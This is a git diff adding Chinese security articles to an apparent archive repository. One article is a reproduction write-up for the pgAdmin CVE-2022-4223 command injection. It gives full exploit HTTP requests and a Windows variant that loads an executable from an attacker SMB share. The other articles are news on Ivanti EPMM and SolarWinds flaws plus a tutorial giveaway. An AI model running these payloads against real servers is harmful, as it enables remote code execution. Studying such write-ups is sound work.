diff --git a/data.json b/data.json index 3bffb201..08f48015 100644 --- a/data.json +++ b/data.json @@ -17383,5 +17383,16 @@ "https://mp.weixin.qq.com/s/QekrIfYWGua9XwAfhAketg": "TP-Link Archer MR600 v5 命令注入漏洞预警（CVE-2025-14756）", "https://mp.weixin.qq.com/s/v-ldCqM4B9a7GTgMC-JH4w": "这种漏洞你的服务器存在吗？", "https://mp.weixin.qq.com/s/Ye5xstDmrQVJ1d4o5ZLwzg": "【高危漏洞预警】Dokploy命令注入漏洞CVE-2026-24841", - "https://mp.weixin.qq.com/s/6dbH5lmWHEQHOJhivj7lEQ": "信息安全漏洞周报【第058期】" + "https://mp.weixin.qq.com/s/6dbH5lmWHEQHOJhivj7lEQ": "信息安全漏洞周报【第058期】", + "https://mp.weixin.qq.com/s/4LYxZRiLGu2zrAFLOgvddA": "高危！SolarWinds 紧急修复 Web Help Desk 四大漏洞", + "https://mp.weixin.qq.com/s/JQSEeUSpiAg2yrtmGDuuIQ": "Ivanti 提醒注意已遭利用的两个 EPMM 漏洞", + "https://mp.weixin.qq.com/s/ccRgt_BuyJ9O0dDai4UIkg": "【成功复现】GNU InetUtils Telnetd远程认证绕过漏洞(CVE-2026-24061)", + "https://mp.weixin.qq.com/s/cxomVcO87VA7Pr6UjdHzaw": "安全热点周报：微软 Office 零日漏洞允许恶意文档绕过安全检查", + "https://mp.weixin.qq.com/s/BWKv_9AQ7nVNr3Ab19LQzw": "【高危漏洞预警】WinRAR 存在目录穿越漏洞（CVE-2025-8088），CVSS 评分高达 8.4", + "https://mp.weixin.qq.com/s/sKpF5ql2hLpILwq9Qr3TNQ": "超干干货！后台未授权访问漏洞实例分享", + "https://mp.weixin.qq.com/s/L0AWjlbg7sqQxum0jes6RA": "【免费领】Android系统漏洞实战权威教程", + "https://mp.weixin.qq.com/s/SzVM74aihSiJSGP684TChA": "SolarWinds 修复四个严重漏洞，可导致未认证RCE和认证绕过", + "https://mp.weixin.qq.com/s/Ue5qSeokPG4SokP7_bBOwA": "奇安信获NVDB-CAVD年度优秀技术支撑单位 10项原创漏洞证书彰显车联网安全实力", + "https://mp.weixin.qq.com/s/lWrMvRHJz7XZFILqV-Pvyg": "通过沙箱逃逸在 n8n 上实现远程代码执行 - CVE-2026-1470 和 CVE-2026-0863", + "https://mp.weixin.qq.com/s/PM-8fL98qmAVM0c1qJ_hlA": "CVE-2022-4223 pgAdmin = 6.16 未授权命令执行漏洞" } \ No newline at end of file diff --git a/doc/2026-01/CVE-2022-4223 pgAdmin = 6.16 未授权命令执行漏洞.md b/doc/2026-01/CVE-2022-4223 pgAdmin = 6.16 未授权命令执行漏洞.md new file mode 100644 index 00000000..63346abe --- /dev/null +++ b/doc/2026-01/CVE-2022-4223 pgAdmin = 6.16 未授权命令执行漏洞.md @@ -0,0 +1,127 @@ +# CVE-2022-4223 pgAdmin = 6.16 未授权命令执行漏洞 +标准云 + 标准云 蚁景网络安全 2026-01-30 10:10 + +![](https://mmbiz.qpic.cn/mmbiz_gif/TL4Y9UAcgruibhUn2nvLrs9mLNiaB1EywEk5fekyWAgJHrFof41PrHYJk9f0jbpDxWZHe4bl66MTEcIkd6nIxvZA/640?wx_fmt=gif&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2uboSOKqd7s1xrshqsy6bCbcKN0jKUkj9gKFCBibu0LCwskTqwoocKuw62A/640?wx_fmt=other&from=appmsg "null") + + +https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/source/pgadmin4-5.7.tar.gz 下载 pgadmin5.7 的源码 + +首先从代码层面进行分析 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2ubokw7RL9Rzj6pDyyt35DcoxicibpyAD1ndpAq1ahFuBHfzUNs9rgpCiauLg/640?wx_fmt=other&from=appmsg "null") + + +接口 /validate_binary_path + 最后调用了 subprocess.getoutput( +来执行了命令 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2uboW5XFeoaDzmpMuUbkSCeq9DQ0K5X20zH98dPZEp3s9kpwt6Gksa42Jw/640?wx_fmt=other&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2ubo8kR2HsBEnO1F0D5xYNyCPolu2wAFcPzhUpL9Dqichtu6mhwep1GwP5A/640?wx_fmt=other&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2ubo5qnoFOL0Nz34QJJ8vFq64Xaic6EEvGqFteXHK0NpKNXWV0cyRhhm1Wg/640?wx_fmt=other&from=appmsg "null") + + +这一部分代码是对传入的路径进行检测，如果是在 linux 下直接拼接，在windows 下部署，后缀中会添加 .exe + 。同时 windows下恶意的exe文件必须是下面几个文件名之一 'pg_dump', 'pg_dumpall', 'pg_restore', 'psql' + +‍ +### linux + +可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin +``` +docker pull dpage/pgadmin4:6.16docker run -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456'  -p 5050:80 --name pgadmin -d  docker.io/dpage/pgadmin4:6.16 +``` + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2ubok1qmic8mvYeeG7t7qPzPLXhyn25zcFoo4ibrH3uYs1m02cqTo7DxJTibA/640?wx_fmt=other&from=appmsg "null") + + +直接构造发送会提示 The CSRF token is missing. + +所以我们先请求路由 login + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2uboiajgtIXqNYLLvmE7OxiayWjEouL0ah72TCU5dicib4Ow3P64yDRgjxhUeA/640?wx_fmt=other&from=appmsg "null") + +image + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2uboiajgtIXqNYLLvmE7OxiayWjEouL0ah72TCU5dicib4Ow3P64yDRgjxhUeA/640?wx_fmt=other&from=appmsg "null") + +``` +POST /misc/validate_binary_path HTTP/1.1Host: 127.0.0.1:5050Upgrade-Insecure-Requests: 1X-pgA-CSRFToken:ImI1OWE1NjQ3ZDZlYjBkYzFmMjgzYzE3MTEyMGRiZTA0MWYwM2YwMjgi.ZhUBBQ.S3V3X0JmCbEcwcpWZkf1TVYVRS4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PGADMIN_LANGUAGE=en;pga4_session=bada494b-009f-4c04-bded-20497c5dcf74!pMVxVlI925/AqyV9Oq0RqiPecdo0fWg2hWYHxGDEpYc=;Connection: closeContent-Type: application/jsonContent-Length: 33{"utility_path":"a\";ifconfig;#"} +``` + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2ubobibKctU3jIn5b9OuFQcQPcZmtkJC4cJIldwGvEvXf58UbuJUUZcicZHw/640?wx_fmt=other&from=appmsg "null") + +``` +import osbinary_path = "a\";ifconfig;#"UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']for utility in UTILITIES_ARRAY:    full_path = os.path.abspath(        os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))    )    print(full_path) +``` + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2uboCAUA2hslC7xA6a4FoI7eZvqAib4YiaA3M8TgPQqr55M1zRbKHoibrxQ4w/640?wx_fmt=other&from=appmsg "null") + + +我们简化代码在linux 下执行，最后利用; + 分割执行命令 +### windows + +下载软件并进行安装 https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/windows/pgadmin4-5.7-x64.exe + +我们发现同样在 windows 下拼接时是无法利用; + 分割执行命令，但是可以通过 UNC path指定攻击者的恶意文件 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2uboRLhbCQ504T3zQrfmIXt1KXdJaAzibV2o764TxicAPibzKngicNFefWiaGww/640?wx_fmt=other&from=appmsg "null") + +``` +import osbinary_path = "\\\\192.168.222.1\\TMP\\"UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']for utility in UTILITIES_ARRAY:    full_path = os.path.abspath(        os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))    )    print(full_path) +``` + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2uboINRX7NGpKVtGLnAib6ic0LzDno5yWFIPjmUqv8bkvQRTbxYhCEuxO4mg/640?wx_fmt=other&from=appmsg "null") + + +我们发现通过构造传入参数，我们可以伪造共享地址 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2uboojuENYKhRQ1CwDJNzlV83ZtVsZD5cMVVjqJN9eoVyybwMHK6ZTnTBg/640?wx_fmt=other&from=appmsg "null") + + +windows  下的环境始终无法启动 web 界面，因为环境实在太老了，启动  C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web\setup.py  各种版本问题，一直没办法启动成功，所以只做理论上的验证 + +后来我发现安装完成之后，会在界面下提供一个python目录，所以直接选择该python  来启动项目，需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web  下的config.py 修改 DEFAULT_SERVER = '0.0.0.0' + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2ubolcwfiahrraDyakR8dpmZVfIHuUjG5Nfjib61hnUnVVHYeicS0vvJNfj8A/640?wx_fmt=other&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2uboXJEnZxc0S7icV5zGQKdeTZ9Dpg1WXm5SNfk6BG7fgGhWEw5PucHn2rQ/640?wx_fmt=other&from=appmsg "null") + + +使用impacket提供的smbserver.py脚本构造恶意的smb服务 smbserver.py TMP /tmp + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2uboJ09hLqnPwibEnD8BSI9paHwIkuX9SYjTqDgLq6mjj14gt6YWsffmBPg/640?wx_fmt=other&from=appmsg "null") + + +编译恶意的exe文件并放到对应目录 +- • pip install pyinstaller + +- • type execute_calc.pyimport subprocessdef execute_calc():    subprocess.call("calc.exe")if __name__ == "__main__":    execute_calc() + +- • pyinstaller --onefile execute_calc.py + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2ubolo21T3aCH6lgVkEMibBPpRK77EP15lgLIram69xcF6Q1QCQEJjFwDEQ/640?wx_fmt=other&from=appmsg "null") + +``` +POST /misc/validate_binary_path HTTP/1.1Host: 192.168.222.145:5050Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36X-pgA-CSRFToken: Ijg5MDJjOGQ2YmVlNTA1NDMwZjFmODA1ZWNjYTIyNzg5MjExM2EzNDci.Zi3CIg.9u2mEcj30C2tPX0soO3L7tJrp5wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: pga4_session=9cd07409-7aca-46c3-8635-e615a7fcd4ac!lthUHprxGzxRdWMWfPm1VLDOLpk=; Connection: closeContent-Type: application/jsonContent-Length: 45{"utility_path":"\\\\192.168.222.128\\TMP\\"} +``` + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2uboicCc1Khuv6qRFMrJN9SSBElBHZUyPzRGcCeuxmCUY6LxictoxibJzsH8Q/640?wx_fmt=other&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TL4Y9UAcgrvzgWzuNlEGZ5oU9Q5H2uboEe8FaiapswqsqBgPHibRTsaRxCfojtQMQ55bibDydPSI1oMyjriaw3Lj5g/640?wx_fmt=other&from=appmsg "null") + + +[](http://mp.weixin.qq.com/s?__biz=MzkyNTY3Nzc3Mg==&mid=2247484713&idx=1&sn=28c29e069e8bd8ceb0bb9b8724563a15&chksm=c1c3a48af6b42d9c05802480e731f8054250576e425306e620b110db89c7b6ea9451be2b4976&scene=21#wechat_redirect) + + diff --git a/doc/2026-01/Ivanti 提醒注意已遭利用的两个 EPMM 漏洞.md b/doc/2026-01/Ivanti 提醒注意已遭利用的两个 EPMM 漏洞.md new file mode 100644 index 00000000..cc2e7342 --- /dev/null +++ b/doc/2026-01/Ivanti 提醒注意已遭利用的两个 EPMM 漏洞.md @@ -0,0 +1,150 @@ +# Ivanti 提醒注意已遭利用的两个 EPMM 漏洞 +Lawrence Abrams + Lawrence Abrams 代码卫士 2026-01-30 09:36 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") +   +聚焦源代码安全，网罗国内外最新资讯！ + +**编译：代码卫士** + +**Ivanti****披露了位于移动终端管理器 (EPMM) 中的两个严重漏洞CVE-2026-1281和CVE-2026-1340，它们已遭在野利用。** + + + + + + + + + + + + + + + + + + +这两个漏洞都是代码注入漏洞，CVSS评分均为9.8，可导致远程攻击者无需身份验证就能在易受攻击设备上执行任意代码。Ivanti 公司提醒称，“在披露时发现数量有限的客户解决方案遭利用”。Ivanti 已发布RPM脚本，缓解受影响 EPMM 版本中的漏洞： + +- 对于EPMM版本12.5.0.x、12.6.0.x和12.7.0.x，应使用 RPM 12.x.0.x。 + +- 对于EPMM版本12.5.1.0和12.6.1.0，应使用RPM 12.x.1.x。 + + + +Ivanti 公司表示，应用这些补丁无需停机且不会对功能造成影响，因此强烈建议尽快安装。不过该公司提醒称热修复方案无法通过版本更新，因此在永久性补丁推出前升级的设备必须重新应用补丁。 + +这两个漏洞将在 EPMM 12.8.0.0 中永久修复，该版本将在2026年第一季度发布。Ivanti 公司表示成功利用这两个漏洞可导致攻击者在 EPMM 设备上执行任意代码，导致攻击者访问存储在平台上的大量信息如管理员和用户姓名、用户名、邮件地址；关于移动管理设备的信息如电话号码、IP地址、已安装应用；以及设备标识符如 IMEI和MAC地址。 + +如启用位置追踪功能，则攻击者还可访问设备位置数据如 GPS 坐标和最近的塔台位置。Ivanti 公司提醒称攻击者还可使用 EPMM API 或 web 控制台修改设备配置如认证设置。 + + +![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ53CAkHp6vGb3PQDm605nl0xkWQDvUXZciaveynQXZia8s4XdicVGh55HhKZZgCbQvGicJDPhQqXalKg/640?wx_fmt=gif&from=appmsg "") + +**已遭活跃利用的 0day 漏洞** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ53CAkHp6vGb3PQDm605nl0xkWQDvUXZciaveynQXZia8s4XdicVGh55HhKZZgCbQvGicJDPhQqXalKg/640?wx_fmt=gif&from=appmsg "") + + + +Ivanti 公司发布安全公告提到，这两个0day漏洞已遭利用，但由于受影响的客户数量少，因此并没有可靠的入侵指标。不过，该公司已发布检测利用和利用后行为的技术指南供管理员使用。 + +Ivanti 公司表示，这两个漏洞可通过“内部应用程序分发” 和 “Android 文件传输配置”功能触发，利用尝试或成功利用会出现在在 Apache 访问日志 /var/log/httpd/https-access_log中。 + +为了帮助防御人员识别可疑活动，Ivanti 公司提供了可用于查找访问日志中利用活动的正则表达式： + +^(?!127\.0\.0\.1:\d+ .*$).*?\/mifs\/c\/(aft|app)store\/fob\/.*?404 + +该表达式将列出匹配针对易受攻击端点的、返回 404 HTTP 响应代码的外部请求（非本地主机流量）的日志条目。Ivanti 公司提到，这些端点的合法请求一般会返回 HTTP 200 响应。而不管成功与否的利用尝试都会返回404错误，因此这些条目成为设备已被针对的强烈指标。 + +不过，Ivanti 公司提醒称，一旦设备遭攻陷，攻击者可修改或删除日志以隐藏其活动。如果存在设备外日志，则应该审计这些日志。如果怀疑设备遭攻陷，Ivanti 公司不建议管理员清理系统，而是在利用发生前或从已知非恶意的备份中恢复 EPMM，或者重建该设备并将设备迁移到一个新系统。 + +恢复系统后，Ivanti 公司建议执行如下操作： + +- 重置任何本地 EPMM 账户的密码。 + +- 重置 LDAP 的密码以及/或执行查询的 KDC 服务账户。 + +- 撤销和替换用于EPMM 的公共证书。 + +- 为配置了 EPMM 解决方案的其它内部或外部服务账户重置密码。 + + + +虽然这两个漏洞仅影响 EPMM，但 Ivanti 公司建议同时审计 Sentry 日志。Ivanti 公司在分析指南中提到，“虽然 EPMM 可被限制到隔离区中，对企业其它网络的访问权限很少或没有，但 Sentry 专为从移动设备将特定的流量类型隧道传输到内部网络资产而设定。如果怀疑 EPMM 设备受影响，则建议查看 Sentry 可访问、以实施侦查或横向移动的系统。” + +美国网络安全和基础设施安全局 (CISA) 已将 CVE-2025-1281 纳入 KEV 清单，说明该漏洞已遭活跃利用。CISA 要求联邦民事机构在2026年2月1日前应用厂商缓解措施或停止使用易受攻击系统。目前尚不清楚CISA为何未将另外一个漏洞纳入KEV的原因。去年9月份，CISA 发布关于牵涉利用 Ivanti 另外两个 0day 漏洞的恶意软件包分析文章，这两个漏洞已于2025年5月修复，但此前也曾用于 0day 攻击活动中。 + + +**** + 开源 +卫士试用地址： +https://oss.qianxin.com/#/login + + + 代码卫士试用地址：https://sast.qianxin.com/#/login + + + + + + + + + +**推荐阅读** + +[Ivanti提醒注意 EPM 中严重的代码执行漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524630&idx=1&sn=f3a9316989486371722d9656c43f333e&scene=21#wechat_redirect) + + +[Ivanti Workspace Control硬编码密钥漏洞暴露 SQL 凭据](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523260&idx=2&sn=ea145b27a636bc95e9cf0045e0f89d03&scene=21#wechat_redirect) + + +[Ivanti 修复已用于代码执行攻击中的两个 EPMM 0day 漏洞，与开源库有关](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523008&idx=1&sn=12a019a9d94970b49208b306f026f931&scene=21#wechat_redirect) + + +[Ivanti 修复 Connect Secure & Policy Secure 中的三个严重漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522224&idx=1&sn=671c73813c868c4819c48a9b54ab1b8c&scene=21#wechat_redirect) + + +[Ivanti修复Endpoint Manager中的多个严重漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522089&idx=1&sn=a04239b89ce2032e8e28b49d05782135&scene=21#wechat_redirect) + + + + + +**原文链接** + +https://www.bleepingcomputer.com/news/security/ivanti-warns-of-two-epmm-flaws-exploited-in-zero-day-attacks/ + + +题图：Pixa +bay Licens +e + + +**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") + +  +觉得不错，就点个 “ +在看 +” 或 " +赞 +” 吧~ + diff --git a/doc/2026-01/SolarWinds 修复四个严重漏洞，可导致未认证RCE和认证绕过.md b/doc/2026-01/SolarWinds 修复四个严重漏洞，可导致未认证RCE和认证绕过.md new file mode 100644 index 00000000..904825ea --- /dev/null +++ b/doc/2026-01/SolarWinds 修复四个严重漏洞，可导致未认证RCE和认证绕过.md @@ -0,0 +1,138 @@ +# SolarWinds 修复四个严重漏洞，可导致未认证RCE和认证绕过 +Ravie Lakshmanan + Ravie Lakshmanan 代码卫士 2026-01-30 09:36 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") +   +聚焦源代码安全，网罗国内外最新资讯！ + +**编译：代码卫士** + +**SolarWinds****公司已发布安全更新，修复影响SolarWinds Web Help Desk的多个漏洞，其中包括四个可导致认证绕过和远程代码执行的严重漏洞。** + + + + + + + + + + + + + + + + + + +这些漏洞： + +- CVE-2025-40536 (CVSS评分：8.1) ——安全控制绕过漏洞，可导致未经身份验证的攻击者访问某些受限功能。 + +- CVE-2025-40537 (CVSS评分：7.5) ——硬编码凭据漏洞，可导致攻击者使用"client"用户账户访问管理功能。 + +- CVE-2025-40551 (CVSS评分：9.8) ——不受信任数据反序列化漏洞，可造成远程代码执行，导致未经身份验证的攻击者在主机上运行命令。 + +- CVE-2025-40552 (CVSS评分：9.8) —— 认证绕过漏洞，可导致未经身份验证的攻击者执行操作和方法。 + +- C +VE-2025-40553 (CVSS评分：9.8) —— 不受信任数据反序列化漏洞，可导致远程代码执行，允许未经身份验证的攻击者在主机上运行命令。 + +- CVE-2025-40554 (CVSS评分：9.8) —— 认证绕过漏洞，可导致攻击者调用Web Help Desk内的特定操作。 + + + +前三个漏洞由Horizon3.ai公司研究员Jimi Sebree发现并报送，其余三个漏洞则由watchTowr团队的研究员Piotr Bazydlo负责披露。所有漏洞均已在WHD 2026.1版本中修复。 + +Rapid7公司指出："CVE-2025-40551和CVE-2025-40553均属于严重的不可信数据反序列化漏洞，可使未经身份验证的远程攻击者在目标系统上实现远程代码执行，进而执行诸如任意操作系统命令等恶意载荷。通过反序列化实现远程代码执行是攻击者惯用的高可靠性攻击向量。由于这两个漏洞在无需身份验证即可利用，其可能造成的影响尤为严重。"该公司补充表示，虽然CVE-2025-40552和CVE-2025-40554被归类为身份验证绕过漏洞，但攻击者同样可利用它们实现远程代码执行，最终达到与前述两个反序列化漏洞相同的利用效果。 + +近年来，SolarWinds已多次发布修复方案，修复其Web Help Desk软件中的多个漏洞，包括CVE-2024-28986、CVE-2024-28987、CVE-2024-28988和CVE-2025-26399。值得注意的是，CVE-2025-26399修复的是CVE-2024-28988的补丁绕过问题，而CVE-2024-28988本身又是针对CVE-2024-28986的补丁绕过。 + +2024年末，美国网络安全和基础设施安全局将CVE-2024-28986和CVE-2024-28987列入其"已知被利用漏洞 (KEV)"目录，理由是有证据表明这两个漏洞正被活跃利用。 + +研究人员提到，CVE-2025-40551是又一个由AjaxProxy功能引发的反序列化漏洞，可能导致远程代码执行。为实现远程代码执行，攻击者需要执行以下一系列操作—— + +- 建立有效会话并提取关键值 + +- 创建LoginPref组件 + +- 设置LoginPref组件的状态以获取文件上传访问权限 + +- 通过JSONRPC桥接在后台创建恶意Java对象 + +- 触发这些恶意Java对象 + + + +鉴于Web Help Desk的漏洞曾遭实际利用，因此用户必须尽快将该服务台和IT服务管理平台更新至最新版本。 + +**** + 开源 +卫士试用地址： +https://oss.qianxin.com/#/login + + + 代码卫士试用地址：https://sast.qianxin.com/#/login + + + + + + + + + +**推荐阅读** + +[SolarWinds 第三次修复 Web Help Desk RCE漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524063&idx=1&sn=bbbe6b07384696379e2020d8ea0e3c24&scene=21#wechat_redirect) + + +[SolarWinds 修复 Web Help Desk 中的硬编码凭据漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247520566&idx=2&sn=2201f2665ef471e47e5dc87762920af5&scene=21#wechat_redirect) + + +[SolarWinds Web Help Desk是 0day时或已遭利用](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247520517&idx=1&sn=33f6242a7bd079eb73527d2099be7fc1&scene=21#wechat_redirect) + + +[SolarWinds 修复访问权限审计软件中的8个严重漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247520104&idx=1&sn=b5831c292df944c1998d2c0e89a80188&scene=21#wechat_redirect) + + +[SolarWinds 访问审计解决方案中存在严重的RCE漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247517960&idx=2&sn=859ca4a50e7e9df4867d1973b7bba390&scene=21#wechat_redirect) + + + + + +**原文链接** + +https://thehackernews.com/2026/01/solarwinds-fixes-four-critical-web-help.html + + +题图：Pixa +bay Licens +e + + +**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") + +  +觉得不错，就点个 “ +在看 +” 或 " +赞 +” 吧~ + diff --git a/doc/2026-01/【免费领】Android系统漏洞实战权威教程.md b/doc/2026-01/【免费领】Android系统漏洞实战权威教程.md new file mode 100644 index 00000000..c131009b --- /dev/null +++ b/doc/2026-01/【免费领】Android系统漏洞实战权威教程.md @@ -0,0 +1,76 @@ +# 【免费领】Android系统漏洞实战权威教程 + 蚁景网络安全 2026-01-30 10:10 + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWjRNXHaZHEfrMNCcDian3sGpzQd8HYquBhOibiaglQNQ9jL6QVibtefLCHNvymxAu0ZGKjnGf4x2hBLFA/640?wx_fmt=png "") + +点击蓝字/关注我们 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgmBny4eMeJJOramdTQiciaDu5LeMykBibiaorwCvYEX2sxq5lVYw4iaddx0qYlbQ6fAyXd22dcFOiads8w/640?wx_fmt=gif "") + +今日福利 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgmBny4eMeJJOramdTQiciaDuYRDXO8rZ2DX4p68v8aWfzp0XSlDyFJvENtj4DwOjoB5CaZVMPnfFYQ/640?wx_fmt=gif "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWjCWWfEAMTVhqG1TTmGEa5zMEBiaFsItnHPOjffujavOef7dtibvyEhhouaTnYVlkflf6tQQq5qB47w/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + +世界顶尖级黑客倾力编著 + +最全面的一本Android系统安全手册 + +利用工具结合实例详解安卓系统漏洞实战 + +限时福利，请及时领取哦 ~ + + + +**该资料内容较多，以下为节选的部分目录：** + + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldx5BcDia5aHy0jxqqD2mOsXLSAz0zflHQUVZibichz2IWcC064HyQjD7ZaEnf3MNlHibjeiaIywgowdZAQ/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldx5BcDia5aHy0jxqqD2mOsXLNST262CeiaspweOtZaBoBwwhPIKonrbiaUibZsAbY6Kuc4EjPhrcwmibBA/640?wx_fmt=png&from=appmsg "") + + +长按识别下方二维码 +， +回复 +**“0130”** +， +**免费领取** +~ + +（限7日内领取） + +【 + +请注意： +不要直接 +回复 +公众号 +哦 +~ + +】 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/3RhuVysG9Lfk8vprdHr8d5Kvic1v77CuKhibz3zlmyVatcKQzHHlvZp0eE3j6s4VRYd8MroZgibLKU86xL2xtsS8A/640?wx_fmt=jpeg "") + + + +**免责声明** + +所有资料均来源于网络分享，仅限用于个人学习交流，禁止任何违法操作和非法用途！由使用者产生的任何责任，与作者和本平台无关！ + 